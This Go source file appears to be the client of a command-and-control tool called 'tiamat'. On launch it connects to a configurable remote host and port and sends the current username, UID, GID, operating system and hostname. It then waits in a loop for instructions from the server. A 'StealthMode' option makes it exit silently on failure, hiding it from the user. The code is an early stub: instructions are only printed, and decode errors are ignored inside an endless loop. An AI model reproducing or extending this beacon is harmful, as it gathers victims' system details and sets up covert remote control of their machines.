tiamat-client/main.go

91 lines
1.5 KiB
Go

package main
import (
"encoding/gob"
"fmt"
"log"
"net"
"os"
"os/user"
"runtime"
)
type Client struct {
Username string
UID string
GID string
OperatingSystem string
Hostname string
}
type Instructions struct {
Message string
}
var (
StealthMode bool = false
RemoteIP = "127.0.0.1"
RemotePort = "1302"
)
func main() {
conn, err := net.Dial("tcp", RemoteIP+":"+RemotePort)
if err != nil {
if StealthMode == true {
os.Exit(0)
} else {
log.Fatalf("Error happened connecting to server: %v\n", err)
}
}
defer conn.Close()
if err := sendOSInfo(conn); err != nil {
if StealthMode == true {
os.Exit(0)
} else {
log.Fatalf("Error happened getting OS info: %v\n", err)
}
}
for {
awaitInstructions(conn)
}
}
func sendOSInfo(conn net.Conn) error {
currentUser, err := user.Current()
if err != nil {
return err
}
clientHostname, err := os.Hostname()
if err != nil {
return err
}
newClient := Client{
Username: currentUser.Username,
UID: currentUser.Uid,
GID: currentUser.Gid,
OperatingSystem: runtime.GOOS,
Hostname: clientHostname,
}
enc := gob.NewEncoder(conn)
err = enc.Encode(newClient)
if err != nil {
return err
}
return nil
}
func awaitInstructions(conn net.Conn) error {
dec := gob.NewDecoder(conn)
inst := Instructions{}
err := dec.Decode(&inst)
if err != nil {
return err
}
fmt.Println(inst.Message)
return nil
}